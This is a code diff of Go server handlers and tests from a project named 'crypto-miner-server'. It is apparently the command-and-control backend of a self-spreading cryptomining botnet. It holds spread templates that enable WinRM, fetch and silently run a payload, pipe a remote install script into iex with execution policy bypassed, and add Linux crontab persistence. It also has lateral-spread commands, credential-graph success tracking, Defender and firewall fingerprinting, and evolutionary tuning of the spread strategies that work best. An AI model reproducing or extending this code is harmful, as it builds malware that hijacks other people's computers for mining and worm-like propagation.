h := NewSpreadHandler(nil, t.TempDir(), root, nil)
body, _ := json.Marshal(map[string]interface{}{
"template": "winrm",
"server_url": "https://deck.example",
"build_id": "pin-wrm",
"campaign": "winrm-lab",
"com_hijack": true,
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ExportSpreadTemplate(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
}
entries := readZipEntries(t, rec.Body.Bytes())
script := entries["bootstrap.ps1"]
for _, marker := range []string{
"Enable-PSRemoting",
"https://deck.example/get?os=windows",
"--spread-install",
"--defer-mining",
"COM=true",
} {
if !strings.Contains(script, marker) {
t.Fatalf("winrm script missing %q: %s", marker, script)
}
}
}
func TestExportWordPressPluginRequiresSiteName(t *testing.T) {
root := t.TempDir()
writeSpreadTemplates(t, root)

View File

@@ -0,0 +1,58 @@
package api
import (
"fmt"
"strings"
"crypto-miner-server/internal/atlas"
)
var spreadCommandActions = map[string]bool{
"discover_and_join": true,
"spread_now": true,
"stage_fetch": true,
}
func isSpreadCommandAction(action string) bool {
return spreadCommandActions[strings.TrimSpace(strings.ToLower(action))]
}
func (h *WSHub) checkSubnetSpreadImmune(agentID, action string, args map[string]interface{}) error {
if h == nil || h.subnetImmune == nil || !isSpreadCommandAction(action) {
return nil
}
if h.db != nil && agentID != "" {
if agent, err := h.db.GetAgent(agentID); err == nil && agent != nil && agent.IP != "" {
if err := h.subnetImmune.SpreadActionBlocked(agent.IP); err != nil {
return err
}
}
}
if args != nil {
for _, key := range []string{"host", "subnet", "target"} {
if raw, ok := args[key].(string); ok && strings.TrimSpace(raw) != "" {
if err := h.subnetImmune.SpreadActionBlocked(raw); err != nil {
return err
}
}
}
}
return nil
}
// SetSubnetImmune wires subnet /24 spread pause tracking.
func (h *WSHub) SetSubnetImmune(immune *atlas.SubnetImmune) {
if h == nil {
return
}
h.mu.Lock()
h.subnetImmune = immune
h.mu.Unlock()
}
func spreadImmuneBlockedMessage(err error) string {
if err == nil {
return ""
}
return fmt.Sprintf("spread blocked: %v", err)
}

View File

@@ -0,0 +1,59 @@
package api
import (
"testing"
"crypto-miner-server/internal/atlas"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
func TestSendAgentCommandBlockedBySubnetImmune(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
hub := NewWSHub(database)
hub.SetSubnetImmune(atlas.NewSubnetImmune(database))
agentID := "spread-agent"
if err := database.UpsertAgent(&models.Agent{
ID: agentID, Name: "host", Wallet: "x", IP: "10.0.0.50", Status: "online",
}); err != nil {
t.Fatal(err)
}
for i := 0; i < 5; i++ {
_, _ = database.RecordSubnetSpreadFailure("10.0.0")
}
err = hub.SendAgentCommand(agentID, "spread_now", nil)
if err == nil {
t.Fatal("expected spread_now blocked for paused subnet")
}
if !isSpreadCommandAction("discover_and_join") {
t.Fatal("discover_and_join should be spread action")
}
}
func TestCheckSubnetSpreadImmuneAllowsOtherPrefix(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
hub := NewWSHub(database)
hub.SetSubnetImmune(atlas.NewSubnetImmune(database))
for i := 0; i < 5; i++ {
_, _ = database.RecordSubnetSpreadFailure("10.0.0")
}
agentID := "other-subnet"
_ = database.UpsertAgent(&models.Agent{
ID: agentID, Name: "host", Wallet: "x", IP: "192.168.1.10", Status: "online",
})
if err := hub.checkSubnetSpreadImmune(agentID, "stage_fetch", nil); err != nil {
t.Fatalf("other subnet should pass: %v", err)
}
}

View File

@@ -0,0 +1,180 @@
package api
import (
"os"
"path/filepath"
"strings"
"testing"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
func writeDeploySpreadTemplates(t *testing.T, root string) {
t.Helper()
winrmDir := filepath.Join(root, "templates", "spread", "winrm")
if err := os.MkdirAll(winrmDir, 0o755); err != nil {
t.Fatal(err)
}
winrmScript := `# WinRM bootstrap
Enable-PSRemoting -Force -SkipNetworkProfileCheck
$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
powershell.exe -EncodedCommand $encoded
`
if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(winrmScript), 0o644); err != nil {
t.Fatal(err)
}
linuxDir := filepath.Join(root, "templates", "spread", "linux")
if err := os.MkdirAll(linuxDir, 0o755); err != nil {
t.Fatal(err)
}
linuxScript := `#!/bin/sh
LOTL_MODE='{{LOTL_MODE}}'
curl -fsSL "${SERVER}/get?os=linux{{QUERY_SUFFIX}}"
systemd-run --user --unit=aetherforge-worker.service
persist_crontab() { crontab -; }
`
if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte(linuxScript), 0o755); err != nil {
t.Fatal(err)
}
entDir := filepath.Join(root, "templates", "spread", "enterprise")
if err := os.MkdirAll(entDir, 0o755); err != nil {
t.Fatal(err)
}
gpoScript := `# GPO computer startup script
$installScript = '{{SERVER_URL}}/install.ps1{{GET_QUERY_SUFFIX}}'
$env:AETHER_DEFER_MINING = '1'
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm '$installScript' | iex"
`
if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte(gpoScript), 0o644); err != nil {
t.Fatal(err)
}
}
func TestSpreadTemplatePathsWinRMGPO(t *testing.T) {
cases := map[string]struct {
subdir string
zip string
}{
"winrm": {"winrm", "aetherforge-winrm-bootstrap.zip"},
"linux-lotl": {"linux", "aetherforge-linux-lotl.zip"},
"gpo": {"enterprise", "aetherforge-gpo-startup.zip"},
"enterprise-gpo": {"enterprise", "aetherforge-gpo-startup.zip"},
}
for tpl, want := range cases {
subdir, zip, err := spreadTemplatePaths(tpl)
if err != nil {
t.Fatalf("%q: %v", tpl, err)
}
if subdir != want.subdir || zip != want.zip {
t.Fatalf("%q => subdir=%q zip=%q want %+v", tpl, subdir, zip, want)
}
}
_, _, err := spreadTemplatePaths("bogus-lane")
if err == nil || !strings.Contains(err.Error(), "unknown template") {
t.Fatalf("err=%v", err)
}
}
func TestDeployPlanWinRMLane(t *testing.T) {
root := t.TempDir()
writeDeploySpreadTemplates(t, root)
h := testDeployPlanHandlerWithRoot(t, root)
plan, err := h.buildPlan(deployPlanRequest{
Platform: "windows", BuildID: "b1", Campaign: "winrm-lab",
}, "WinRM", ServiceDeployLane{Lane: "winrm", Template: "winrm"})
if err != nil {
t.Fatal(err)
}
if plan.JoinLane != "winrm" || plan.Script == "" {
t.Fatalf("plan=%+v", plan)
}
for _, marker := range []string{
"http://127.0.0.1:8989/get?os=windows",
"--spread-install",
"--defer-mining",
"Enable-PSRemoting",
} {
if !strings.Contains(plan.Script, marker) {
t.Fatalf("script missing %q: %s", marker, plan.Script)
}
}
}
func TestDeployPlanGPOLane(t *testing.T) {
root := t.TempDir()
writeDeploySpreadTemplates(t, root)
h := testDeployPlanHandlerWithRoot(t, root)
plan, err := h.buildPlan(deployPlanRequest{
Platform: "windows", BuildID: "b1", Campaign: "gpo-wave",
}, "gpsvc", ServiceDeployLane{Lane: "gpo", Template: "gpo"})
if err != nil {
t.Fatal(err)
}
if plan.JoinLane != "gpo" || plan.Script == "" {
t.Fatalf("plan=%+v", plan)
}
for _, marker := range []string{"/install.ps1", "AETHER_DEFER_MINING"} {
if !strings.Contains(plan.Script, marker) {
t.Fatalf("script missing %q: %s", marker, plan.Script)
}
}
if !strings.Contains(plan.Script, "pin=b1") || !strings.Contains(plan.Script, "c=gpo-wave") {
t.Fatalf("script missing query suffix: %s", plan.Script)
}
}
func TestDeployPlanLinuxLOTLLane(t *testing.T) {
root := t.TempDir()
writeDeploySpreadTemplates(t, root)
h := testDeployPlanHandlerWithRoot(t, root)
plan, err := h.buildPlan(deployPlanRequest{
Platform: "linux", BuildID: "b1", Campaign: "lotl-lab",
}, "sshd", ServiceDeployLane{Lane: "linux_lotl", Template: "linux-lotl"})
if err != nil {
t.Fatal(err)
}
if plan.JoinLane != "linux_lotl" || plan.Script == "" {
t.Fatalf("plan=%+v", plan)
}
for _, marker := range []string{"systemd-run --user", "curl -fsSL", "systemd_run_user"} {
if !strings.Contains(plan.Script, marker) {
t.Fatalf("script missing %q: %s", marker, plan.Script)
}
}
}
func testDeployPlanHandlerWithRoot(t *testing.T, projectRoot string) *DeployPlanHandler {
t.Helper()
dir := t.TempDir()
database, err := dbpkg.New(dir)
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
buildDir := filepath.Join(dir, "builds", "b1")
if err := os.MkdirAll(buildDir, 0o755); err != nil {
t.Fatal(err)
}
artifact := filepath.Join(buildDir, "worker.exe")
if err := os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644); err != nil {
t.Fatal(err)
}
if err := database.InsertBuild(&models.BuildRecord{
ID: "b1", Platform: "windows", FileName: "worker.exe", FilePath: artifact,
}); err != nil {
t.Fatal(err)
}
cfgPath := filepath.Join(dir, "config.json")
if err := os.WriteFile(cfgPath, []byte(`{"server":{"dns_zone":"lab.internal"}}`), 0o644); err != nil {
t.Fatal(err)
}
return NewDeployPlanHandler(database, dir, projectRoot,
func() string { return "http://127.0.0.1:8989" },
func() string { return "fleet-test" },
func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) },
)
}

View File

@@ -0,0 +1,177 @@
package api
import (
"strings"
"crypto-miner-server/internal/clearance"
"crypto-miner-server/internal/spreadrouter"
)
// buildSpreadRouterInput assembles routing context from Path Tracer sessions and fleet state.
func buildSpreadRouterInput(hub *WSHub, sessions []*TraceSession, targetSubnets []string, requestedLane string) spreadrouter.Input {
in := spreadrouter.Input{
TargetSubnets: targetSubnets,
RequestedLane: strings.TrimSpace(requestedLane),
}
if hub == nil {
return in
}
for _, sess := range sessions {
if sess == nil {
continue
}
snap := spreadrouter.SessionSnapshot{SessionID: sess.ID}
for i, hop := range sess.Hops {
if hop == nil {
continue
}
subnet := spreadrouter.SubnetFromIP(hop.ExternalIP)
if subnet == "" && hub.db != nil {
if ag, err := hub.db.GetAgent(hop.AgentID); err == nil && ag != nil {
subnet = spreadrouter.SubnetFromIP(ag.IP)
}
}
snap.Hops = append(snap.Hops, spreadrouter.HopSnapshot{
AgentID: hop.AgentID,
AgentName: hop.AgentName,
Subnet: subnet,
SessionID: sess.ID,
HopIndex: i,
Connected: hub.isAgentConnected(hop.AgentID),
})
}
for _, host := range serviceGraphList(sess.ServiceGraph) {
sub := spreadrouter.NormalizeSubnet(host.Subnet)
if sub == "" {
sub = spreadrouter.SubnetFromIP(host.Host)
}
if sub == "" {
continue
}
agentID := strings.TrimSpace(host.AgentID)
if agentID == "" && len(snap.Hops) > 0 {
agentID = snap.Hops[len(snap.Hops)-1].AgentID
}
snap.Discoveries = append(snap.Discoveries, spreadrouter.SubnetDiscovery{
Subnet: sub,
AgentID: agentID,
Hosts: []string{host.Host},
})
}
in.Sessions = append(in.Sessions, snap)
}
hub.mu.RLock()
connected := make([]string, 0, len(hub.agents))
for id, conn := range hub.agents {
if conn == nil {
continue
}
connected = append(connected, id)
}
hub.mu.RUnlock()
for _, id := range connected {
if hub.db == nil {
continue
}
ag, err := hub.db.GetAgent(id)
if err != nil || ag == nil {
continue
}
latency := 0
if ag.LatencyMs != nil {
latency = *ag.LatencyMs
}
clearanceLevel := clearance.L0
if hub.clearance != nil {
clearanceLevel = hub.clearance.Level(id)
}
in.FleetAgents = append(in.FleetAgents, spreadrouter.FleetAgentSnapshot{
AgentID: id,
AgentName: ag.Name,
Subnet: spreadrouter.SubnetFromIP(ag.IP),
Clearance: clearanceLevel,
LatencyMs: latency,
JoinLane: strings.TrimSpace(ag.JoinLane),
Connected: true,
})
}
in.LaneSuccess = collectLaneSuccessStats(hub)
return in
}
func collectLaneSuccessStats(hub *WSHub) []spreadrouter.LaneSuccessStat {
if hub == nil {
return nil
}
type key struct {
subnet string
lane string
}
counts := make(map[key]int)
hub.mu.RLock()
connected := make([]string, 0, len(hub.agents))
for id, conn := range hub.agents {
if conn == nil {
continue
}
connected = append(connected, id)
}
hub.mu.RUnlock()
for _, id := range connected {
if hub.db == nil {
continue
}
ag, err := hub.db.GetAgent(id)
if err != nil || ag == nil {
continue
}
lane := strings.TrimSpace(ag.JoinLane)
if lane == "" {
continue
}
sub := spreadrouter.SubnetFromIP(ag.IP)
if sub == "" {
continue
}
counts[key{subnet: sub, lane: lane}]++
}
if hub.db != nil {
if rows, err := hub.db.ListCredGraphBySubnet(); err == nil {
for _, row := range rows {
if row.SuccessCount <= 0 {
continue
}
sub := spreadrouter.NormalizeSubnet(row.Subnet)
counts[key{subnet: sub, lane: "spread_cred"}] += row.SuccessCount
}
}
}
var out []spreadrouter.LaneSuccessStat
for k, n := range counts {
out = append(out, spreadrouter.LaneSuccessStat{
Subnet: k.subnet,
JoinLane: k.lane,
Success: n,
})
}
return out
}
func traceSessionsSnapshot(handler *PathTracerHandler) []*TraceSession {
if handler == nil {
return nil
}
handler.mu.Lock()
defer handler.mu.Unlock()
out := make([]*TraceSession, 0, len(handler.sessions))
for _, sess := range handler.sessions {
out = append(out, sess)
}
return out
}

View File

@@ -82,6 +82,20 @@ func TestAuthResponseOmitsAdaptiveStrategyWhenAIControlEnabled(t *testing.T) {
if _, ok := payload["adaptive_strategy"]; ok {
t.Fatal("adaptive_strategy must be omitted when ai_control_enabled is true")
}
raw, ok := payload["spread_temperament"]
if !ok {
t.Fatal("expected spread_temperament in auth_response when ai_control_enabled")
}
data, _ := json.Marshal(raw)
var temperament struct {
TierOrder []string `json:"tier_order"`
}
if err := json.Unmarshal(data, &temperament); err != nil {
t.Fatal(err)
}
if len(temperament.TierOrder) == 0 {
t.Fatalf("empty spread_temperament: %+v", temperament)
}
}
func repeatChar(c byte, n int) string {

View File

@@ -14,6 +14,7 @@ import (
"time"
"crypto-miner-server/internal/alerts"
fleetai "crypto-miner-server/internal/ai"
"crypto-miner-server/internal/atlas"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
@@ -158,9 +159,12 @@ type WSHub struct {
agentServiceDiscover map[string]cachedServiceDiscover
agentLiveTelemetry map[string]map[string]interface{}
agentInheritedPhenotype map[string]strategy.InheritedPhenotype
agentSubnet map[string]string
breedingRegistry *strategy.BreedingRegistry
serverPolicy ServerPolicy
adaptiveEngine *strategy.AdaptiveEngine
failureAtlas *atlas.FailureAtlas
subnetImmune *atlas.SubnetImmune
pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect
eventNotifier *alerts.Notifier
@@ -205,6 +209,8 @@ func NewWSHub(database *db.Database) *WSHub {
agentServiceDiscover: make(map[string]cachedServiceDiscover),
agentLiveTelemetry: make(map[string]map[string]interface{}),
agentInheritedPhenotype: make(map[string]strategy.InheritedPhenotype),
agentSubnet: make(map[string]string),
breedingRegistry: strategy.NewBreedingRegistry(),
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
beaconLastSeen: make(map[string]time.Time),
beaconCmdQueue: make(map[string][]BeaconCommand),
@@ -573,6 +579,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
delete(h.agents, agentID)
delete(h.agentConfigs, agentID)
delete(h.agentLogs, agentID)
delete(h.agentSubnet, agentID)
h.mu.Unlock()
if h.aiHandler != nil {
h.aiHandler.RemoveEngine(agentID)
@@ -647,6 +654,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
UTM string `json:"utm"`
LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
JoinLane string `json:"join_lane,omitempty"`
ParentAgentID string `json:"parent_agent_id,omitempty"`
SpreadGeneration int `json:"spread_generation,omitempty"`
SpreadStrain string `json:"spread_strain,omitempty"`
FleetRole string `json:"fleet_role,omitempty"`
SeederMode bool `json:"seeder_mode,omitempty"`
}
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
@@ -802,6 +814,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
USBSpread: auth.USBSpread,
Campaign: coalesceStr(auth.Campaign, auth.UTM),
JoinLane: strings.TrimSpace(auth.JoinLane),
ParentAgentID: strings.TrimSpace(auth.ParentAgentID),
SpreadGeneration: auth.SpreadGeneration,
SpreadStrain: strings.TrimSpace(auth.SpreadStrain),
Capabilities: &caps,
}
@@ -847,8 +862,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
h.mu.Lock()
startPing = true // fresh connection after displacing old one
}
domainJoined := prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain
ac := &AgentConnection{AgentID: agentID, Conn: conn}
h.agents[agentID] = ac
h.agentSubnet[agentID] = strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined).Subnet
h.mu.Unlock()
h.FlushBeaconPoliciesToWS(agentID)
@@ -895,16 +912,27 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
}
resp["triple_onion_policy"] = top
domainJoined := false
if prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain {
domainJoined = true
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 {
resp["spread_policy"] = map[string]interface{}{
"hashrate_gate_spread_min": policy.HashrateGateSpreadMin,
"hashrate_gate_hps": policy.HashrateGateHPS,
}
}
resp["atlas_lan_gossip_enabled"] = policy.AtlasLanGossipEnabled
fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)
var inherited *strategy.InheritedPhenotype
if stored, err := h.db.GetFleetPhenotypeByFingerprint(fp.Key()); err == nil && stored != nil {
pheno := strategy.PhenotypeFromStored(*stored)
inh := pheno.ToInherited()
inherited = &inh
} else if h.breedingRegistry != nil {
if bred, ok := h.breedingRegistry.GetBred(fp.Key()); ok {
inh := bred.ToInherited()
inherited = &inh
}
}
if inherited != nil {
inh := *inherited
h.mu.Lock()
h.agentInheritedPhenotype[agentID] = inh
h.mu.Unlock()
@@ -938,11 +966,32 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
resp["adaptive_strategy"] = adaptive
}
if policy.AIControlEnabled {
resp["spread_temperament"] = fleetai.PersonaSpreadTemperament(policy.AIPersona)
}
if h.clearance != nil {
level := h.clearance.InitAgent(agentID, agent)
resp["clearance_level"] = level
agent.ClearanceLevel = level
}
bakedRole := normalizeFleetRole(auth.FleetRole)
if auth.SeederMode {
bakedRole = "seeder"
}
h.storeAgentFleetRole(agentID, bakedRole)
if policy.FleetRolesEnabled {
seederCapable := auth.SeederMode || bakedRole == "seeder"
hint := h.fleetRoleHintForAuth(agentID, bakedRole, clientIP, seederCapable)
if hint != "" {
resp["fleet_role_hint"] = hint
h.storeAgentFleetRole(agentID, hint)
}
if hint != "seeder" {
if seeders := h.lanSeedersForMiner(clientIP); len(seeders) > 0 {
resp["lan_seeders"] = seeders
}
}
}
return resp
}())})
@@ -1072,6 +1121,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
AtlasSkips []atlas.AtlasSkip `json:"atlas_skips,omitempty"`
StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
JoinLane string `json:"join_lane,omitempty"`
ParentAgentID string `json:"parent_agent_id,omitempty"`
SpreadGeneration int `json:"spread_generation,omitempty"`
SpreadStrain string `json:"spread_strain,omitempty"`
FleetRole string `json:"fleet_role,omitempty"`
SeedPressure float64 `json:"seed_pressure,omitempty"`
HashratePressure float64 `json:"hashrate_pressure,omitempty"`
NetworkHints json.RawMessage `json:"network_hints,omitempty"`
VulnFindings []struct {
CVEID string `json:"cve_id"`
@@ -1232,6 +1287,24 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if stats.JoinLane != "" {
broadcast["join_lane"] = stats.JoinLane
}
if stats.ParentAgentID != "" {
broadcast["parent_agent_id"] = stats.ParentAgentID
}
if stats.SpreadGeneration > 0 || stats.ParentAgentID != "" {
broadcast["spread_generation"] = stats.SpreadGeneration
}
if stats.SpreadStrain != "" {
broadcast["spread_strain"] = stats.SpreadStrain
}
if stats.FleetRole != "" {
broadcast["fleet_role"] = stats.FleetRole
}
if stats.SeedPressure > 0 {
broadcast["seed_pressure"] = stats.SeedPressure
}
if stats.HashratePressure > 0 {
broadcast["hashrate_pressure"] = stats.HashratePressure
}
if len(stats.NetworkHints) > 0 && string(stats.NetworkHints) != "null" {
var hints interface{}
if err := json.Unmarshal(stats.NetworkHints, &hints); err == nil {
@@ -1270,8 +1343,34 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
h.ingestStrategyFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier)
h.ingestAtlasFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderEnabled, stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts)
h.tryPublishWinningPhenotype(agentID, "", clientIPFromBroadcast(broadcast), stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier, stats.JoinLane, stats.ChainOrder)
h.ingestFleetPressure(agentID, broadcast)
h.queueStatsBroadcast(broadcast)
case "scout_report":
if agentID == "" {
continue
}
var report struct {
JoinLane string `json:"join_lane"`
ServiceCount int `json:"service_count"`
ScoutMode bool `json:"scout_mode"`
}
if err := json.Unmarshal(msg.Payload, &report); err != nil {
continue
}
if !report.ScoutMode {
continue
}
ag, _ := h.db.GetAgent(agentID)
platform, ip := "", ""
var firewallDomain *bool
if ag != nil {
platform = ag.Platform
ip = ag.IP
firewallDomain = ag.FirewallDomain
}
h.tryPublishScoutPhenotype(agentID, platform, ip, firewallDomain, report.JoinLane, report.ServiceCount)
case "ai_snapshot":
if agentID == "" {
continue
@@ -1472,6 +1571,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
h.ingestStrategyFromPayload(agentID, payload)
h.queueStatsBroadcast(payload)
case "atlas_gossip":
if agentID == "" {
continue
}
h.handleAgentAtlasGossip(agentID, msg.Payload)
case "command_result":
if agentID == "" {
continue
@@ -1810,6 +1915,9 @@ func (h *WSHub) RemoveAgent(agentID string) {
// SendAgentCommand sends a remote command to an agent.
func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
if err := h.checkSubnetSpreadImmune(agentID, action, args); err != nil {
return err
}
if h.isAgentConnected(agentID) {
payload := map[string]interface{}{"action": action}
for k, v := range args {
@@ -2070,6 +2178,75 @@ func (h *WSHub) tryPublishWinningPhenotype(
if _, err := h.db.UpsertFleetPhenotype(strategy.PhenotypeToStored(pheno)); err != nil {
log.Printf("[phenotype] publish: %v", err)
}
if h.breedingRegistry != nil {
h.breedingRegistry.RecordLaneWinner(strategy.LaneWinnerInput{
Fingerprint: fp.Key(),
SpreadLane: strings.TrimSpace(joinLane),
TierOrder: tierOrder,
ActiveTier: strings.TrimSpace(activeTier),
PeakHashrate: miningHashrate,
FailedTiers: strategy.FailedTierSet(stratAttempts),
SourceAgentName: ag.Name,
})
}
}
func (h *WSHub) tryPublishScoutPhenotype(
agentID, platform, ip string,
firewallDomain *bool,
joinLane string,
serviceCount int,
) {
if h.db == nil || (strings.TrimSpace(joinLane) == "" && serviceCount <= 0) {
return
}
ag, err := h.db.GetAgent(agentID)
if err != nil {
return
}
if platform == "" {
platform = ag.Platform
}
if ip == "" {
ip = ag.IP
}
if firewallDomain == nil {
firewallDomain = ag.FirewallDomain
}
domainJoined := firewallDomain != nil && *firewallDomain
fp := strategy.FingerprintFromAuth(platform, ip, domainJoined)
lane := strings.TrimSpace(joinLane)
if lane == "" {
lane = "service_graph"
}
tierOrder := []string{"service_graph", "discover_and_join"}
if lane != "service_graph" && lane != "discover_and_join" {
tierOrder = append(tierOrder, lane)
}
pheno := strategy.FleetPhenotype{
SourceAgentID: agentID,
SourceAgentName: ag.Name,
Fingerprint: fp.Key(),
OS: fp.GOOS,
SpreadLane: lane,
ActiveTier: "service_graph",
TierOrder: tierOrder,
PeakHashrate: 0,
CreatedAt: time.Now().UTC(),
}
if _, err := h.db.UpsertFleetPhenotype(strategy.PhenotypeToStored(pheno)); err != nil {
log.Printf("[phenotype] scout publish: %v", err)
}
if h.breedingRegistry != nil {
h.breedingRegistry.RecordLaneWinner(strategy.LaneWinnerInput{
Fingerprint: fp.Key(),
SpreadLane: lane,
TierOrder: tierOrder,
ActiveTier: "service_graph",
PeakHashrate: float64(serviceCount),
SourceAgentName: ag.Name,
})
}
}
func parseStringSliceField(raw interface{}) []string {

View File

@@ -499,6 +499,49 @@ func TestAgentNamePreservedOnReconnect(t *testing.T) {
}
}
func TestAuthUpsertSpreadGenealogy(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
conn, _ := dialAgentWS(t, hub)
resp := authAgentConn(t, conn, map[string]interface{}{
"agent_id": "genealogy-agent",
"hostname": "spread-child",
"version": "1.0",
"parent_agent_id": "parent-uuid-1234",
"spread_generation": 2,
"spread_strain": "#aabbcc",
"join_lane": "winrm",
})
var body map[string]interface{}
if err := json.Unmarshal(resp.Payload, &body); err != nil {
t.Fatal(err)
}
if body["success"] != true {
t.Fatalf("auth should succeed (genealogy is telemetry only): %+v", body)
}
time.Sleep(30 * time.Millisecond)
agent, err := database.GetAgent("genealogy-agent")
if err != nil {
t.Fatal(err)
}
if agent.ParentAgentID != "parent-uuid-1234" {
t.Errorf("parent_agent_id = %q", agent.ParentAgentID)
}
if agent.SpreadGeneration != 2 {
t.Errorf("spread_generation = %d", agent.SpreadGeneration)
}
if agent.SpreadStrain != "#aabbcc" {
t.Errorf("spread_strain = %q", agent.SpreadStrain)
}
}
// TestAgentNameUpdatesFromHostnameWhenDefault verifies that the name IS updated
// when it was never customised (name == hostname, i.e. the default).
// TestCommandResultBroadcastToDashboard is the critical end-to-end test that

View File

@@ -0,0 +1,567 @@
package api
import (
"bytes"
"encoding/json"
"net/http"
"net/http/httptest"
"strings"
"testing"
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"github.com/gorilla/websocket"
)
// TestIntegrationAuthStatsTickStatsBatchEndToEnd verifies auth → stats tick →
// coalesced stats_batch delivery to a dashboard WebSocket client.
func TestIntegrationAuthStatsTickStatsBatchEndToEnd(t *testing.T) {
resetWSAuthUsers(t, testAuthUser, testAuthPass)
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
t.Cleanup(dashSrv.Close)
dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
if err != nil {
t.Fatalf("dial dashboard: %v", err)
}
t.Cleanup(func() { _ = dashConn.Close() })
type batchResult struct {
updates []map[string]interface{}
err string
}
batchCh := make(chan batchResult, 1)
go func() {
_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
for {
var msg Message
if err := dashConn.ReadJSON(&msg); err != nil {
batchCh <- batchResult{err: err.Error()}
return
}
if msg.Type != "stats_batch" {
continue
}
var body struct {
Updates []json.RawMessage `json:"updates"`
}
if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
batchCh <- batchResult{err: parseErr.Error()}
return
}
updates := make([]map[string]interface{}, 0, len(body.Updates))
for _, raw := range body.Updates {
var u map[string]interface{}
if json.Unmarshal(raw, &u) != nil {
continue
}
updates = append(updates, u)
}
batchCh <- batchResult{updates: updates}
return
}
}()
agentID := "auth-stats-agent"
conn := connectTestAgent(t, hub, agentID)
statsPayload, _ := json.Marshal(map[string]interface{}{
"hashrate_15s": 42.0,
"hashrate_1m": 40.0,
"hashrate_15m": 38.0,
"shares_submitted": 3,
"shares_accepted": 2,
"cpu_usage_pct": 11.0,
"memory_usage_pct": 22.0,
"uptime_seconds": 120,
"mining_hashrate": 42.0,
"lotl_tier": "cpu_inprocess",
"parent_agent_id": "parent-abc",
"spread_generation": 1,
"spread_strain": "#112233",
})
if err := conn.WriteJSON(Message{Type: "stats", Payload: statsPayload}); err != nil {
t.Fatal(err)
}
stopStatsBatchTimer(hub)
hub.flushStatsBatch()
select {
case r := <-batchCh:
if r.err != "" {
t.Fatalf("dashboard did not receive stats_batch: %s", r.err)
}
if len(r.updates) != 1 {
t.Fatalf("expected 1 update, got %d: %+v", len(r.updates), r.updates)
}
u := r.updates[0]
if u["agent_id"] != agentID {
t.Errorf("agent_id = %v", u["agent_id"])
}
if u["hashrate_15s"] != 42.0 {
t.Errorf("hashrate_15s = %v", u["hashrate_15s"])
}
if u["mining_hashrate"] != 42.0 {
t.Errorf("mining_hashrate = %v", u["mining_hashrate"])
}
if u["lotl_tier"] != "cpu_inprocess" {
t.Errorf("lotl_tier = %v", u["lotl_tier"])
}
if u["parent_agent_id"] != "parent-abc" {
t.Errorf("parent_agent_id = %v", u["parent_agent_id"])
}
if u["spread_generation"] != float64(1) {
t.Errorf("spread_generation = %v", u["spread_generation"])
}
if u["spread_strain"] != "#112233" {
t.Errorf("spread_strain = %v", u["spread_strain"])
}
case <-time.After(2 * time.Second):
t.Fatal("timed out waiting for stats_batch after auth+stats tick")
